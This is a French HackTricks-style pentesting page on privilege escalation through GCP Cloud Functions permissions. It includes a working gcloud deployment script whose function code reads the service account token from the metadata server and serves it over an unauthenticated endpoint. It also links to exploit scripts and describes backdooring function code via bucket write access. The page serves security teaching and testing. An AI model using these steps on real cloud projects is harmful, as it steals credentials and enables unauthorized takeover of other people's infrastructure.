# GCP - Cloudfunctions Privesc

{{#include ../../../banners/hacktricks-training.md}}

## cloudfunctions

Plus d'informations sur Cloud Functions :

{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
{{#endref}}

### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

Un attaquant avec ces privilèges peut **créer une nouvelle Cloud Function avec du code arbitraire (malveillant) et lui assigner un Service Account**. Ensuite, il peut récupérer le token du Service Account à partir des métadonnées pour élever ses privilèges.\
Certains privilèges pour déclencher la fonction peuvent être nécessaires.

Des scripts d'exploitation pour cette méthode peuvent être trouvés [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) et [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) et le fichier .zip préconstruit peut être trouvé [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).

### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

Un attaquant avec ces privilèges peut **modifier le code d'une Function et même modifier le service account attaché** dans le but d'exfiltrer le token.

> [!CAUTION]
> Pour déployer des cloud functions, vous aurez également besoin de permissions actAs sur le service account de calcul par défaut ou sur le service account utilisé pour construire l'image.

Certains privilèges supplémentaires comme la permission `.call` pour la version 1 des cloudfunctions ou le rôle `role/run.invoker` pour déclencher la fonction peuvent être nécessaires.
```bash
# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
> [!CAUTION]
> Si vous obtenez l'erreur `Permission 'run.services.setIamPolicy' denied on resource...`, c'est parce que vous utilisez le paramètre `--allow-unauthenticated` et que vous n'avez pas suffisamment de permissions pour cela.

Le script d'exploitation pour cette méthode peut être trouvé [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).

### `cloudfunctions.functions.sourceCodeSet`

Avec cette permission, vous pouvez obtenir une **URL signée pour pouvoir télécharger un fichier dans un bucket de fonction (mais le code de la fonction ne sera pas modifié, vous devez toujours le mettre à jour)**.
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
Je ne suis pas vraiment sûr de l'utilité de cette seule autorisation du point de vue d'un attaquant, mais c'est bon à savoir.

### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`

Donnez-vous l'un des privilèges précédents **`.update`** ou **`.create`** pour escalader.

### `cloudfunctions.functions.update`

Avoir uniquement des autorisations **`cloudfunctions`**, sans **`iam.serviceAccounts.actAs`**, vous **ne pourrez pas mettre à jour la fonction DONC CE N'EST PAS UNE ESCALADE VALIDE.**

### Accès en lecture et écriture sur le bucket

Si vous avez un accès en lecture et écriture sur le bucket, vous pouvez surveiller les changements dans le code et chaque fois qu'une **mise à jour dans le bucket se produit, vous pouvez mettre à jour le nouveau code avec votre propre code** afin que la nouvelle version de la Cloud Function s'exécute avec le code backdoor soumis.

Vous pouvez en savoir plus sur l'attaque dans :

{{#ref}}
gcp-storage-privesc.md
{{#endref}}

Cependant, vous ne pouvez pas utiliser cela pour pré-compromettre des Cloud Functions tierces car si vous créez le bucket dans votre compte et lui donnez des autorisations publiques afin que le projet externe puisse y écrire, vous obtenez l'erreur suivante :

<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>

> [!CAUTION]
> Cependant, cela pourrait être utilisé pour des attaques DoS.

### Accès en lecture et écriture sur l'Artifact Registry

Lorsqu'une Cloud Function est créée, une nouvelle image docker est poussée vers l'Artifact Registry du projet. J'ai essayé de modifier l'image avec une nouvelle, et même de supprimer l'image actuelle (et l'image `cache`), et rien n'a changé, la Cloud Function continue de fonctionner. Par conséquent, il **pourrait être possible d'abuser d'une attaque de condition de course** comme avec le bucket pour changer le conteneur docker qui sera exécuté, mais **modifier simplement l'image stockée n'est pas possible pour compromettre la Cloud Function**.

## Références

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../banners/hacktricks-training.md}}
